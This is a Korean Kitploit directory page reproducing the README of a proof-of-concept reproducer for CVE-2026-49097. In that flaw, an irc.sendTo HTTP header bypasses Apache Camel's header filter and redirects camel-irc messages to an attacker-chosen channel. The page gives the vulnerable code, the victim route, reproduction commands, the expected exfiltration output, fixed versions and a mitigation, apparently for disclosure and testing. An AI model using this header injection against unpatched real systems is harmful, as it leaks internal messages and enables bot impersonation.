Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-49097 — CVE-2026-49097(Apache Camel camel-irc)용 PoC 재현기: Camel 접두사가 없는 irc.sendTo 헤더가 HTTP 헤더 필터를 우회하여 프로듀서에 구성된 채널을 덮어쓰고, IRC 메시지를 공격자가 선택한 대상으로 리다이렉트합니다. 4.14.8/4.18.3/4.21.0에서 수정되었습니다. | Kitploit
도구/GitHubGitHub/oscerd/cve-2026-49097
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHuboscerd/cve-2026-49097

CVE-2026-49097

CVE-2026-49097(Apache Camel camel-irc)용 PoC 재현기: Camel 접두사가 없는 irc.sendTo 헤더가 HTTP 헤더 필터를 우회하여 프로듀서에 구성된 채널을 덮어쓰고, IRC 메시지를 공격자가 선택한 대상으로 리다이렉트합니다. 4.14.8/4.18.3/4.21.0에서 수정되었습니다.

저장소 보기
1개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

camel-irc irc.sendTo 헤더 인젝션 재현기 (CVE-2026-49097)

이 프로젝트는 Apache Camel의 camel-irc 컴포넌트에서 발생하는 메시지 헤더 인젝션(message-header injection) 을 시연하며, CVE-2026-49097로 추적됩니다. IrcProducer는 irc.sendTo 헤더를 읽어 나가는 IRC 메시지의 목적지를 선택합니다. 해당 헤더가 존재하면 엔드포인트에 설정된 채널 목록을 덮어씁니다:

root@kitploit:~
// IrcProducer.process (영향받는 4.18.2)
final String sendTo = exchange.getIn().getHeader(IrcConstants.IRC_SEND_TO, String.class);  // "irc.sendTo"
...
} else if (sendTo != null) {
    connection.doPrivmsg(sendTo, msg);          // 공격자가 선택한 목적지
} else {
    for (IrcChannel channel : getEndpoint().getConfiguration().getChannelList()) {
        connection.doPrivmsg(channel.getName(), msg);   // 의도된, 설정된 채널(들)
    }
}

헤더 상수 IRC_SEND_TO는 일반 값 irc.sendTo를 가집니다. Camel / camel 접두사로 시작하지 않기 때문에 HTTP 경계에서 Camel 헤더 네임스페이스만 차단하는 HttpHeaderFilterStrategy는 이를 통과시켜 인바운드 HTTP 요청에서 Exchange로 직접 전달되게 합니다.

HTTP 컨슈머(예: platform-http)를 irc: 프로듀서로 연결하는 라우트에서 모든 HTTP 클라이언트는 irc.sendTo를 제공할 수 있으며, 메시지를 임의의 IRC 채널이나 닉으로 리다이렉트하여 내부 채널로 보내려던 콘텐츠를 공격자가 모니터링하는 목적지로 유출시키거나, 다른 채널에서 봇을 사칭할 수 있습니다. 동일한 수정에서 irc.* 상수 9개가 더 이름이 바뀌었지만, irc.sendTo가 직접적으로 악용 가능한 상수입니다.

이 PoC는 그 영향을 메시지 리다이렉션 / 정보 공개 (CWE-20 → CWE-74) 로 시연합니다.

권고: https://camel.apache.org/security/CVE-2026-49097.html

취약점 요약

이 수정은 10개의 irc.* 헤더 상수를 CamelIrc* 규칙(예: irc.sendTo → CamelIrcSendTo)으로 이름을 바꾸어, 다른 모든 Camel 제어 헤더처럼 HTTP 경계에서 필터링되도록 합니다. CVE-2025-27636, CVE-2026-46454, CVE-2026-48206과 같은 계열입니다. 참고: camel-irc는 4.21.0부터 더 이상 사용되지 않습니다(deprecated).

IRC 서버가 필요 없는 이유

취약점은 전적으로 IrcProducer의 목적지 선택에 있으며, IRC 소켓은 단지 전송 수단일 뿐입니다. 이 재현기는 실제 IrcProducer와 실제 irclib IRCConnection 클래스를 실행하되, 이를 하위 클래스로 만들어 모든 do* 명령( doPrivmsg 포함)이 통과하는 send(...)가 소켓에 쓰는 대신 PRIVMSG 대상을 기록하도록 합니다. 작은 커스텀 irc 컴포넌트가 그 기록용 연결을 제공합니다. 실제 IRC 네트워크에는 연결되지 않습니다.

피해자 라우트

root@kitploit:~
from("platform-http:/notify")
    .to("irc:ircnet:6667?nickname=notifierbot&channels=%23alerts&commandTimeout=100");

고정된 내부 채널 #alerts로 전달하는 "notify" 엔드포인트입니다. HTTP API에는 목적지 매개변수가 없습니다 — 작성자는 클라이언트가 채널을 선택할 수 없다고 가정합니다. 공격자는 irc.sendTo를 설정하고 봇이 공격자가 선택한 채널에 게시하도록 합니다.

저장소 구조

root@kitploit:~
CVE-2026-49097/
├── pom.xml                 # camel-platform-http + camel-irc 4.18.2 (irclib 1.10)
├── Dockerfile
├── docker-compose.yml      # 단일 자립형 서비스
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── RecordingIRCConnection.java  # 실제 IRCConnection 하위 클래스; PRIVMSG 대상을 기록, 소켓 없음
    │   ├── RecordingIrcComponent.java   # 기록용 연결을 제공
    │   ├── IrcComponentConfig.java      # 'irc' 스킴으로 등록
    │   ├── IrcRecorder.java             # 마지막으로 전달된 대상 + 텍스트 캡처
    │   ├── VictimRoute.java             # platform-http:/notify -> irc:...#alerts
    │   └── ExploitController.java       # 공격자: irc.sendTo=#exfil-channel 인젝션
    └── resources/
        └── application.properties

사전 요구 사항

  • Docker 및 Docker Compose
  • Java 17+ 및 Maven 3.8+

재현 단계

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

예상 출력

root@kitploit:~
=== CVE-2026-49097 — camel-irc irc.sendTo header injection (message redirection) ===

Route intent: POST /notify -> IRC channel #alerts (fixed in the endpoint config)

1) Legitimate POST /notify (no irc.sendTo header)
     IRC message delivered to: #alerts
     text: Revenue report Q3: $4.2M (internal distribution only)

2) Injected POST /notify with header 'irc.sendTo: #exfil-channel'
     IRC message delivered to: #exfil-channel
     text: Revenue report Q3: $4.2M (internal distribution only)

>>> PROVEN: an inbound HTTP header (irc.sendTo) passed the Camel HTTP header filter and
>>> overrode the producer's configured channel, sending the internal notification to an
>>> attacker-chosen IRC destination (exfiltration / bot impersonation): true

권장 수정 사항

4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23629)로 업그레이드하세요. 업그레이드 후에는 헤더를 통해 IRC 목적지를 설정하는 라우트에서 CamelIrcSendTo 이름을 사용해야 합니다. 참고로 camel-irc는 4.21.0부터 더 이상 사용되지 않습니다.

완화 조치

업그레이드할 때까지 신뢰할 수 없는 모든 인그레스에서 irc: 프로듀서 앞단의 camel-irc 제어 헤더를 제거하고(예: removeHeaders("irc.*")), 목적지는 신뢰할 수 있는 소스에서 설정하세요.

면책 조항

이 재현기는 공개적으로 공개되고 수정된 취약점에 대한 보안 연구 및 승인된 테스트 전용으로 제공됩니다. 명시적 허가 없이 시스템에 사용하지 마십시오.

도구 다운로드
속성값
컴포넌트camel-irc
영향받는 클래스org.apache.camel.component.irc.IrcProducer — IrcConstants.IRC_SEND_TO("irc.sendTo")를 읽음
CWECWE-20 (부적절한 입력 검증) / CWE-74 (인젝션)
영향나가는 IRC 메시지를 공격자가 선택한 채널/닉으로 리다이렉트 (유출, 사칭)
전제 조건라우트가 HTTP 컨슈머를 irc: 프로듀서로 연결함; 컨슈머가 인증되지 않은 경우
영향받는 버전4.0.0부터 4.14.8 이전, 4.15.0부터 4.18.3 이전, 4.19.0부터 4.21.0 이전
수정된 버전4.14.8, 4.18.3, 4.21.0
JIRACAMEL-23629 (PR apache/camel#23594)
발견자Yu Bao (PayPal)